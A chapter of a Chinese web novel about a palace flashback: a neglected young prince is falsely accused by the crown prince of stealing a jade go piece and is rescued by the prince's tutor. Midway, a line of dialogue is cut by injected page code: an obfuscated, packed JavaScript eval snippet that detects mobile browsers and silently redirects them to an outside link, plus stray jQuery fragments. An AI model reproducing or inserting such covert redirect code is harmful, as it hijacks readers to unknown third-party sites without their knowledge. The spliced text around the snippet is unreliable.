文趣网 > 其他小说 > 江山掌中泪 > 41. 微光
    十五年前,梧桐苑的宫墙,是燕国深宫里一道早被遗忘的旧疤。墙皮剥落得厉害,露出底下灰败的砖石,雨水在墙面冲刷出蜿蜒的污痕,像一道道干涸的泪沟。

    院子窄小,几棵半死不活的梧桐树歪斜着。白日里也少见阳光,空气里总浮着一股陈腐的阴冷气息,混杂着墙角苔藓的腥气,沉沉压在人的胸口。

    昭妃坐在窗下,背脊习惯性地挺直,那是刻入骨子里的宫妃仪态,尽管她身上的旧衣早已洗得发白,袖口磨出了毛边。她正专注地补着一件小袄,手指翻飞,针脚细密。

    阳光吝啬地透过蒙尘的窗格,在她苍白的侧脸上投下摇曳的光影。曾经倾国倾城的容颜,被这冷宫岁月磨蚀了明艳,只余下脆弱的清冷,美则美矣,却易碎无声。

    “娘,我出去啦!”六岁的嘉熙从门槛边溜了出去。

    这是燕帝的三皇子,由于燕帝一直没有正式赐名,昭妃便给他起了乳名叫“嘉熙”,他穿着打补丁的旧衣,脸上贪玩沾了灰,唯独那双眼睛,又大又亮,乌湛湛的,过早地盛着这个年纪不该有的警觉和沉默。

    他像一阵风,转眼就消失在那扇吱呀作响的破旧门扉外。

    昭妃抬起头,望着儿子消失的方向,指尖捏着的针线,停顿了一瞬。那一声“娘”,藏着孩子对外面世界的渴望。她内心酸楚,随即又被疲惫覆盖。

    她叹了一口气,仿佛卸下了什么重担,又像是重新背起了更沉的担子。她继续缝补着,仿佛要缝补起这梧桐苑里所有无望的未来。

    宫道漫长,嘉熙紧贴着宫墙根下的阴影行走,他熟稔地避开路过的宫人,那些穿着整齐宫装的太监宫女,目光扫过他时,带着避之不及的轻蔑与厌恶,仿佛他是什么污秽的东西。

    嘉熙早已习惯,只是把头埋得更低,脚步更快,小小的胸膛里,一股不甘的火焰被压制着,闷闷地燃烧。

    他的目标是御花园西北角一株高大的老槐树。前几日,他曾远远瞥见几只羽翼鲜亮的小鸟在枝头跳跃鸣叫,鸟窝隐约可见。

    此刻,嘉熙像只灵巧的狸猫,攀着粗糙的树干,手脚并用地向上爬。汗水沿着额角流下,混着灰尘,在他稚嫩的小脸上画出几道滑稽的污痕。

    他攀爬得专注,全副心神都系在那高枝上的鸟窝,仿佛那是整个灰暗世界里唯一的乐趣。

    离目标越来越近,他甚至能听到幼鸟细弱的啁啾声了。嘉熙心头一热,加快动作,脚下一滑,蹬落了几块松动的老树皮。

    就在他稳住身形,准备再次伸手时,眼角余光却被树下不远处一道奇异的反光引住了。

    那东西落在宫墙根下,半掩在几片枯叶里,通体墨黑,却流转着光泽。在这满是枯叶的角落,它显得如此格格不入,却又异常夺目。

    嘉熙对此物的好奇心瞬间压过了鸟窝的诱惑。他滑下树,快步走过去,蹲下身,拨开枯叶,捏起了那枚圆圆的东西。

    嘉熙把它凑到眼前仔细端详,这是一枚棋子,比他在冷宫角落里见过的那些粗劣石子不知要精致贵重多少倍。

    墨玉质地,打磨得浑圆光滑,触感细腻,在阴影里也散发着神秘的光。

    他正看得出神,一阵张扬的脚步声和少年不耐烦的抱怨声由远及近。

    “苏衡远那个老顽固!整日里就知道‘落子无悔’、‘三思而行’,烦死了!孤是太子,学这些劳什子作甚!”声音骄纵傲慢。

    另一个谄媚的声音立刻附和:“太子殿下息怒,太傅也是为殿下着想。不过今日这棋课,殿下不想学,扔了那棋子便是,何必气着自己?那墨玉棋子虽好,丢了也就丢了,内侍省有的是……”

    先前那个声音冷哼一声:“哼!孤就是不想学了!扔了它,眼不见心不烦!走,去御马监看看新进的那匹西域宝马!”

    说话间,两个身影已转过宫墙拐角。为首的是一个锦衣华服的少年,约莫十一二岁年纪,头戴金冠,腰束玉带,眉宇间满是养尊处优的骄矜之气,正是当今太子燕玄钦。他身后跟着一个点头哈腰的太监。

    燕玄钦的目光漫不经心地扫过宫道,猛然间,定在了墙角那个蹲着的、衣衫破旧的小小身影上,更准确地说,定在了嘉熙还没来得及藏起的小手里——那枚墨玉棋子正躺在他掌心。

    一股被冒犯的怒火瞬间冲上玄钦的脑门。他几步冲过来,居高临下地瞪着嘉熙,眼神如同在看一只肮脏的老鼠。

    “哪来的下贱东西?见了本太子不但不行礼,还敢偷孤的棋子?!”燕玄钦鄙夷道。

    嘉熙浑身一僵,下意识地握紧了那枚棋子,猛地抬起头。对上玄钦那双盛满怒火和轻蔑的眼睛,他的身体微微发颤,却倔强地没有立刻辩解。

    眼眸深处,恐惧在蔓延,但更深的地方,一股被侮辱的火焰也在燃烧。

    “你哑巴了?被孤抓个正着,无话可说了?”玄钦见他不答,更加恼怒,尤其看到嘉熙倔强的神情,更觉自己的太子威严受到了挑衅。

    他上下打量着衣衫破旧的嘉熙,想起宫人们私下议论的那些不堪入耳的流言,关于冷宫,关于那个被厌弃的昭妃和她来路不明的“野种”。

    一股恶气直冲头顶,玄钦扬起手中原本把玩着的、装饰华丽的短柄马鞭,狠狠抽向嘉熙瘦弱的肩膀。

    “野种!你是偷东西的野种!”鞭子抽打空气的尖啸声刺入耳膜。

    嘉熙惊恐,身体的本能让他猛地闭紧双眼,下意识地缩起脖子,等待那预料之中的剧痛降临。小拳头紧握着掌心那枚墨玉棋子。

    预想中的剧痛并未降临。一声威严的断喝,骤然响起:“住手!”

    那鞭梢在距离嘉熙肩头寸许之地,被一只有力的手攥住。

    嘉熙惊魂未定地睁开眼。映入眼帘的,是一道巍然的身影,挡在了他与玄钦的鞭子之间。

    来人约莫四十上下,气质儒雅。他眉头紧锁,带着不怒自威的气势,盯着玄钦。正是太子太傅,苏衡远。

    “太傅?”玄钦手腕被制,鞭子抽不出去也收不回来,脸上闪过惊愕和被人打断的羞恼,他用力想抽回鞭子,却纹丝不动,只得悻悻喊道,“你放开!这贱奴偷了孤的棋子!孤教训一个贼,有何不可?”

    苏衡远并未理会玄钦的叫嚣。他手腕一沉,力道巧妙一卸,玄钦顿觉鞭子上传来的钳制力消失,猝不及防之下,身体向后踉跄了一步,脸色顿时涨得通红。

    “殿下,棋子,乃君子雅物。是用于静心对弈,参悟天人之道,绝非逞凶斗狠、欺凌弱小的凶器!”他的目光扫过玄钦手中的马鞭,最后落回他羞怒的脸上,加重了语气,“更不该,用来伤人。”

    “可他偷了孤的棋子!”玄钦指着嘉熙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935908|213713||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,犹自不甘地辩解,“这冷宫里的……谁知道他手脚干不干净!”

    苏衡远的目光这才转向墙角的嘉熙。

    孩子依旧保持着蜷缩的姿势,他低着头,看不清表情,只有那攥着棋子的小手,和颤抖的肩膀,无声地诉说着恐惧与委屈。

    苏衡远心中一恸。他蹲下身,视线与嘉熙齐平,目光温和而包容,仿佛能穿透那层恐惧的硬壳,看到里面那个惊惶的灵魂。他伸出手,没有去碰那枚棋子,而是轻轻覆在嘉熙紧紧攥着棋子的小手上。

    苏衡远的声音带着抚慰人心的暖意,驱散了方才鞭影带来的寒意:“孩子,别怕。告诉太傅,这棋子,是你偷的吗?”

    嘉熙抬起头,眼中蓄满了泪水,却倔强地不肯落下。他用力地摇头,嘴唇哆嗦着,努力想发出声音,却因为极度的紧张和委屈,只发出破碎的气音:“没……没偷……捡……捡的……”

    “殿下听见了?”苏衡远站起身,重新看向太子,语气恢复了沉肃,“此子言,乃拾得。殿下不思己过,随意丢弃御赐之物,反污他人偷窃,更欲行鞭笞之刑,此非储君应有之德!今日之事,殿下需好好思过,抄写《德经》一遍,明日交予臣检视。现在,向这位小公子道歉。”

    “向他道歉?!”玄钦声音陡然拔高,充满了不可思议的屈辱,“他算个什么东西!一个冷宫……”

    “殿下!”苏衡远的声音陡然转厉,那股属于帝师的威严,竟让玄钦剩下的话生生噎在了喉咙里,“慎言!知错能改,善莫大焉。殿下若连直面己过、向无辜者致歉的勇气都没有,将来何以服众,何以君临天下?”

    玄钦被苏衡远的严厉震慑住了,脸色一阵红一阵白,看看太傅不容置辩的脸,又看看墙角那个蜷缩着、却似乎不再那么颤抖的“野种”,屈辱感和对太傅威严的畏惧交织在一起。

    最终,在苏衡远目光的压迫下,他一跺脚,从牙缝里挤出几个字:“对……对不起!”说完,他狠狠瞪了嘉熙一眼,然后猛地转身,带着同样惊惶的太监,头也不回地冲向来时的方向,背影狼狈不堪。

    宫道重新恢复了寂静,只剩下风吹过树叶的沙沙声,以及嘉熙压抑的抽噎。

    苏衡远叹了口气,眉宇间是恨铁不成钢的疲惫。他再次看向嘉熙,眼神柔和下来。孩子还蹲在那里,只是肩膀的颤抖渐渐平息了。

    “起来吧,孩子。”苏衡远伸出手,和蔼道,“莫再蹲着了。”

    嘉熙迟疑了一下,黑曜石般的眼睛怯怯地抬起,望着苏衡远。那目光里有未散的恐惧,有残留的泪光,还有谨慎的试探。

    他慢慢松开紧握的拳头,那枚墨玉棋子躺在他脏污的掌心。他犹豫着,伸出另一只同样沾满尘土的小手,试探性地搭上了苏衡远那只干净的大手。

    苏衡远的手掌宽厚而温暖,将嘉熙冰凉的小手包裹住,微微用力,将他从地上拉了起来。嘉熙站起身,因为蹲得太久,腿有些发麻,小身体晃了一下,苏衡远及时扶住了他的肩膀。

    “谢谢……太傅大人……”嘉熙的声音依旧很弱,但终于能连贯地说出话了。他低着头,不敢直视苏衡远的眼睛。

    “不必言谢。”苏衡远牵着他的小手,走在宫道中间,一大一小两个身影,慢慢往梧桐苑的方向走去。宫墙高耸,隔绝了外面的天光,也隔绝了人间的暖意。